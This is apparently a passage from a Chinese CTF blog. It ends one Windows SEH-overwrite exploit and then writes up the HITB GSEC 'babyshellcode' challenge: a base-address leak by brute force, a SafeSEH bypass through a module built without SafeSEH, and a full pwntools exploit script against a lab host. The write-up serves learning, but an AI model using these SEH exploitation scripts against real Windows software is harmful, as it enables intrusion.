print 'except_handler:',hex(except_handler)

fake_scope_table = p32(0x0FFFFFFE4)     #GSCookieOffset
fake_scope_table += p32(0)              #GSCookieXOROffset
fake_scope_table += p32(0x0FFFFFF20)    #EHCookieOffset
fake_scope_table += p32(0)              #EHCookieXOROffset
fake_scope_table += p32(0x0FFFFFFFE)    #ScopeRecord.EnclosingLevel
fake_scope_table += p32(system_addr)    #ScopeRecord.FilterFunc
fake_scope_table_addr = stack_addr + 0x10

payload  = 'a' * 0x10
payload += fake_scope_table
payload = payload.ljust(0x9c - 0x1c, 'b')
payload += p32(GS_Cookie)                   #GS_Cookie
payload += 'a'*8
payload += p32(seh_next)                    #seh_next
payload += p32(except_handler)              #except_handler
payload += p32(fake_scope_table_addr^security_cookie)    #scope_table
payload += p32(0)
print bytes(payload)
p.recvuntil('Do you want to know more?\r\n')
p.sendline('n')
#p.recvuntil('Where do you want to know\r\n')
p.sendline(payload)

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('Where do you want to know\r\n')
p.sendline('0')

p.interactive()

HITB GSEC Babyshellcode

大体是参照 KoshI师傅的思路，然后自己分析了一下。

程序分析

image-20201030144430037

程序初始使用 init_scmgr函数构造 buf，可以看一下这个 dll文件：

image-20201030144517688

这里主要关心两点：一通过 VirtualAlloc生成一个堆地址，也就是该地址不在 babyshellcode的栈空间内；页权限设置为 0x40拥有 RWX权限。

image-20201030144649259

此外 scmgr.dll中还存在一个后门函数，那么我们的大概思路应该是修改 eip来执行后门函数。

babyshellcode还实现了 CreateShellcode、和 RunShellcode的功能

利用分析

首先我们建立的 shellcode都是分配在 使用 init_scmgr分配的堆上，地址为 0x1d0000，shellcode的结构体如下所示：

image-20201030150706915

  1. 泄露 scmgr.dll基址

上面提到 scmgr.dll中有一个后门函数，我们想要调用它，首先就必须得知道 scmgr.dll的基址。在 babyshellcode中有一个 set函数，输出了一些加密数据如下：

image-20201030164526027

我们可以动态调试一下，查看每一个加密函数加密的数据是什么，如下图所示，可以看到第一个加密输出的数据就是 scmgr的地址。也就是我们可以通过这个输出的密文获得 scmgr.dll的基址。

image-20201030150345893

但是，我们需要解密这个密文。这个加密函数比较复杂，解密太难了。根据KoshI师傅的方法，是将加密函数dump下来，然后爆破明文地址去比对密文，得到 scmgr.dll的地址，这样做可以把 比对的过程放到我们本地完成，而不用去触及远程程序，较为合理。但是加解密函数挺复杂的，我逆向太差了，应该自己写不出来的。

  1. 利用 seh_handler

main函数中还有一个 RunShellCode的功能，我们可以查看这个函数的代码如下，发现在这个函数的头部使用了 SEH，我们很容易就能发现 SEH的标志。如下所示：

image-20201030150850746

在 EBP之前，我们也能够看到 seh_handler和 scope_table的数据，如下：

image-20201030153532213

然后在 run函数中，能够直接调用shellcode执行，但是问题再于执行前将我们的 shellcode前4位放入了 0xfffffff。也就是这个调用是必然失败的。

image-20201030151752523

image-20201029221204741

既然，采用了 SEH,那么就考虑 覆盖 seh_handler指针指向 后门函数地址，实现 getshell。

这样做，需要绕过 SafeSEH，即对 seh_handler是有检查的。但是，恰好我们的 后门函数地址所在的 scmgr.dll并没有开启 SafeSEH，我们成功绕过。

还有一点注意，是 win10下异常处理时，对于 栈中的 SEH_next也是会做检查的。所以我们需要先泄露该值。利用程序一开始输入 name时有一个泄露，即可成功。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level='debug'
p = remote('192.168.44.149', 10002)

def get_scmgr_base(check):
    for base in range(0x60000000, 0x80000000, 0x10000):
        init_scmgr = base + 0x1090
        g_table = [init_scmgr]
        for i in range(31):
            init_scmgr = (init_scmgr * 69069) & 0xffffffff
            g_table.append(init_scmgr)
        g_index = 0
        v0 = (g_index-1) & 0x1f
        v2 = g_table[(g_index + 3) & 0x1f] ^ g_table[g_index] ^ (g_table[(g_index + 3) & 0x1f] >> 8)
        v1 = g_table[v0]
        v3 = g_table[(g_index + 10) & 0x1F]
        v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
        v4 = v4 & 0xffffffff
        g_table[g_index] = v2 ^ v4
        g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7)) & 0xffffffff
        g_index = (g_index - 1) & 0x1F
        if(g_table[g_index] == check):
            print "base: " + hex(base)
            return base + 0x1100

def Create(size, name, des, shellcode):
    p.recvuntil('Option:\r\n')
    p.sendline('1')
    p.recvuntil('shellcode size:\r\n')
    p.sendline(str(size))
    p.recvuntil('shellcode name:\r\n')
    p.sendline(name)
    p.recvuntil('shellcode description:\r\n')
    p.sendline(des)
    p.recvuntil('shellcode:\r\n')
    p.sendline(shellcode)

def Run(idx):
    p.recvuntil('Option:\r\n')
    p.sendline('4')
    p.recvuntil('shellcode index:\r\n')
    p.sendline(str(idx))


def set(option):
    p.recvuntil('Option:\r\n')
    p.sendline('5')
    p.recvuntil('Option:\r\n')
    p.sendline(str(option))
    check = p.recv(200).split("-")[5][:8]
    check = int(check, 16)
    print "check: " + hex(check)
    get_shell = get_scmgr_base(check)
    return get_shell

while True:
    try:
        p.recvuntil('alloc at ')
        heap_addr = int(p.recvuntil('\r\n', drop=True), 16)
        p.recvuntil('leave your name\r\n')
        p.sendline('a'*80)

        seh_next = u32(p.recvuntil('\r\n', drop=True)[-3:].ljust(4, '\x00'))
        seh_next = seh_next & 0xffffff
        print('seh_next:',hex(seh_next))
        #Create(2, 'a', 'a', 'aa')
        system_addr = set(1)
        # p.recvuntil('challenge response:\r\n')
        p.sendline('a1ex')

        payload = 'a'*0x70 + p32(seh_next) + p32(system_addr) + p32(0)
        Create(len(payload), 'a', 'a', payload)

        Run(0)
        break
    except:
        p.close()
        p = remote('192.168.44.149', 10002)

p.interactive()

参考

Windows Pwn 学习之路

HITB GSEC CTF Win Pwn解题全记录

SEH和SafeSEH

异常处理

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing